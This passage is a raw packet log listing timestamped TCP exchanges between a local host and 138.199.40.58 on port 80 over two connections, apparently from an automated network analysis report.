Apr 23, 2024 08:39:58.725687027 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.725692034 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.725743055 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.725763083 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.725785017 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.725805044 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.725806952 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.725866079 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.725886106 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.725902081 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.726013899 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.726150990 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.726165056 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.726171017 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.726203918 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.726223946 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.726291895 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.726322889 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.726336002 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.726342916 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.726346970 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.726401091 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.726474047 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.726496935 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.726510048 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.726555109 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.726555109 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.726569891 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.726583004 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.726622105 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.726633072 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.726639032 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.726644993 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.726658106 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.726680040 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.726685047 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.726687908 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.726758957 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.726773024 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.726784945 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.726845980 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.726870060 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.726871014 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.726883888 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.726902008 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.726916075 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.726923943 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.727005959 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.727159977 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.727210045 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.727267981 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.727288961 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.727303982 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.727346897 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.727391958 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.727411985 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.727426052 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.727446079 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.727462053 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.727529049 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.727543116 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.727572918 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.727585077 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.727586031 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.727622032 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.727652073 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.727669001 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.727700949 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.727781057 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.727799892 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.727845907 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.727869987 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.727895975 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.727919102 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.727994919 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.728018045 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.728032112 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.728059053 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.728084087 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.728198051 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.728221893 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.728286982 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.728338957 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.728353977 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.728404999 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.728455067 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.728501081 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.728521109 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.728569984 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.728655100 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.728667974 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.728673935 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.728781939 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.728797913 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.728849888 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.728871107 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.728888988 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.728897095 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.728940964 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.728959084 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.728993893 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.729017019 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.729068995 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.729087114 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.729100943 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.729120970 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.729124069 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.729149103 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.729185104 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.729211092 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.729259968 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.729290962 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.729305029 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.729340076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.729362965 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.729389906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.729413986 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.729460955 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.729543924 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.729557037 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.729571104 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.729614973 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.729652882 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.729707956 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.729727983 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.729841948 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.729861021 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.729892969 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.729963064 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.729981899 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.730000019 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.730036020 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.730057001 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.730072975 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.730104923 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.730123997 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.730134010 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.730190992 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.730228901 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.730248928 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.730263948 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.730283022 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.730308056 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.730333090 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.730344057 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.730382919 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.730436087 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.730459929 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.730474949 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.730498075 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.730559111 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.730586052 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.730607033 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.730613947 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.730644941 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.730668068 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.730716944 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.730809927 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.730866909 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.730887890 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.730907917 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.730933905 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.730947018 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.730952978 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.730997086 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.731015921 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.731040955 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.731105089 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.731142044 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.731154919 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.731190920 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.731204033 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.731211901 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.731228113 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.731245995 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.731281042 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.731307030 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.731348991 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.731357098 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.731362104 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.731419086 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.731443882 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.731467009 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.731518030 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.731553078 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.731575012 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.731648922 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.731662035 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.731673002 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.731686115 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.731698036 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.731700897 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.731709957 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.731723070 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.731734037 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.731734991 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.731744051 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.731746912 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.731827974 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.731848001 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.731909990 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.731930017 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.731997967 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.732009888 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.732023001 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.732048035 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.732052088 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.732085943 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.732125998 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.732197046 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.732218981 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.732244968 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.732307911 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.732388020 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.732443094 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.732486010 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.732508898 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.732566118 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.732589006 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.732639074 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.732718945 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.732753992 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.732796907 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.732810974 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.732866049 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.732882977 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.732882977 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.732956886 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.732976913 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.733072996 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.733114004 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.733122110 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.733191967 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.733258963 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.733278036 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.733329058 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.733341932 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.733364105 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.733381033 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.733381987 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.733403921 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.733428955 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.733443022 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.733455896 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.733468056 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.733494997 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.733598948 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.733612061 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.733671904 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.733721018 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.733721018 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.733747005 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.733784914 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.733838081 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.733849049 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.733901024 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.733979940 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.733993053 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.734014034 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.734039068 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.734055996 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.734070063 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.734076023 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.734124899 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.734153032 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.734174967 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.734231949 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.734252930 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.734267950 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.734292030 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.734350920 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.734364033 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.734371901 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.734411001 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.734431028 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.734446049 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.734467030 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.734481096 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.734504938 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.734559059 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.734599113 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.734621048 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.734627008 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.734699011 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.734711885 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.734724045 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.734735012 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.734745979 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.734778881 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.734792948 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.734802008 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.734910011 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.734922886 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.734934092 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.734946012 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.734952927 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.734957933 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.734993935 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.734993935 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.735061884 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.735076904 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.735089064 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.735100985 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.735107899 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.735114098 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.735132933 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.735172987 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.735186100 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.735239029 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.735256910 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.735292912 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.735308886 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.735321999 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.735333920 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.735380888 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.735404015 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.735419989 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.735444069 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.735470057 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.735519886 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.735555887 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.735569000 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.735577106 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.735580921 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.735604048 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.735641003 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.735663891 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.735687017 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.735733032 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.735752106 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.735754013 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.735780001 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.735800982 CEST	49704	80	192.168.2.7	138.199.40.58
